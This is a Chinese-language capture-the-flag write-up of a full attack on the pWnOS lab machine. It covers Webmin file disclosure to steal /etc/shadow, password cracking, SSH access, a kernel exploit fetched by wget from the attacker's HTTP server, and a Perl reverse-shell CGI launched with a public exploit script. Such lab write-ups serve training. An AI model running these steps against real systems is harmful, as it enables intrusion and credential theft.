pWnOS靶场内部网络渗透WriteUP

1. 执行摘要

​ 本次渗透测试模拟了一次完整的攻击链。攻击者首先通过网络侦察和漏洞利用(Webmin文件泄露)获得目标主机的初始访问权限(用户vmware)。在进入系统后,攻击者进行了深入的信息搜集,发现系统内核版本陈旧(2.6.22-14,发布于2007年)。随后,攻击者利用公开的本地内核提权漏洞(sock_sendpage),成功将权限从普通用户(vmware)提升至最高管理员(root),实现了对目标的完全控制。

2. 目标信息

  • 目标IP地址: 192.168.11.140
  • 操作系统: Ubuntu 2.6.22-14-server
  • 初始访问点: Webmin (端口 10000) 文件泄露漏洞 -> 密码破解 -> SSH (用户: vmware)
  • 最终权限: root

3. 渗透测试步骤详情

3.1 信息收集

1

  • 执行 ip a命令,确认攻击机(Kali)的IP地址为 192.168.11.128,处于 192.168.11.0/24网段。

2

  • 使用 arp-scan -l对当前网段进行ARP扫描。
  • 发现4台活跃主机,其中包括目标主机 192.168.11.140及其MAC地址 00:0c:29:5e:18:c9

3.2 漏洞探测

  • 启动Metasploit Framework (MSF),准备进行漏洞利用。

3

  • 在MSF中搜索 Webmin相关漏洞利用模块,发现多个可利用模块。

4

  • 使用 auxiliary/admin/webmin/file_disclosure模块(编号1)。
  • 设置目标参数:
    • RHOSTS: 192.168.11.140
    • RPORT: 10000 (Webmin默认端口)
    • RPATH: /etc/passwd(初始目标文件)

5

6

3.3 敏感信息窃取

  • 运行模块,成功从目标服务器下载 /etc/passwd文件。
  • 该文件泄露了系统所有用户名、用户ID、家目录和默认shell。

8

  • 修改模块参数,将 RPATH设置为 /etc/shadow
  • 再次运行模块,成功下载系统的密码哈希文件 (/etc/shadow)。
  • 该文件包含了用户名及其对应的加密密码哈希,是进行密码破解的关键。

9

3.4 密码破解与横向移动

  • 使用John the Ripper (john) 工具,结合著名的弱密码字典 rockyou.txt,对窃取的哈希进行破解。
  • 成功破解出至少一个用户的密码:h4ckm3(根据上下文,很可能属于用户 vmwareroot)。

10

  • 使用破解得到的凭据 (用户: vmware),通过SSH协议成功登录到目标主机 192.168.11.140
  • 获得了一个交互式Shell,确认系统为 Ubuntu 2.6.22-14-server,完全控制了该主机。

11

3.5 权限提升(本地提权)

  • 通过SSH登录目标主机后,执行 uname -a命令确认系统详细版本。
  • 系统为 Linux ubuntuvm 2.6.22-14-server,这是一个非常陈旧(2007年发布)且包含大量已知漏洞的内核版本。

12

  • 在攻击机(Kali)上,使用 searchsploit ubuntu 2.6命令搜索针对该内核版本的公开漏洞利用程序(Exploit)。
  • 在搜索结果顶部发现一个适用于该内核版本的本地权限提升漏洞 Linux Kernel 2.4.x/2.6.x - 'sock_sendpage',其利用代码路径为 linux/local/9545.c

13

  • 在Kali上使用 locate命令找到 9545.c文件的确切位置 (/usr/share/exploitdb/exploits/linux/local/9545.c)。
  • 将该C语言源码文件复制到当前工作目录。

14

15

16

  • 在Kali攻击机上,使用 python3 -m http.server 8000命令启动一个简易的HTTP文件服务器,端口为8000,目的是让目标机能够下载漏洞利用程序。

17

  • 在目标机(Ubuntu)上,使用 wget命令从攻击机(192.168.11.128:8000)成功下载漏洞利用源码文件 9545.c

18

  • 在目标机上,使用GCC编译器将 9545.c源码编译为可执行文件 exp
  • 运行 ./exp执行该漏洞利用程序。
  • 程序执行后,成功提权。执行 id命令显示当前用户身份为 uid=0(root) gid=0(root),证明已获得系统的最高管理员(root)权限。

19

3.6 CGI提权

  • 10000端口的webmin是root用户(目录遍历可以看到/etc/shadow),让它执行反弹shell脚本来提权。

20

  • 使用kali复制系统perlshell.pl文件重命名为shell.cgi,并将反弹shell的ip改成攻击机的ip。

21

22

  • 开启http服务,利用vmware用户下载shell.cgi

23

24

  • 下载后为文件shell.cgi添加可执行权限。

25

  • 开启kali监听,然后使用webmin文件包含漏洞exp
1
sudo searchsploit -m 2017.pl
1
2
sudo perl 2017.pl 192.168.11.140 10000
/home/vmware/shell.cgi 0

26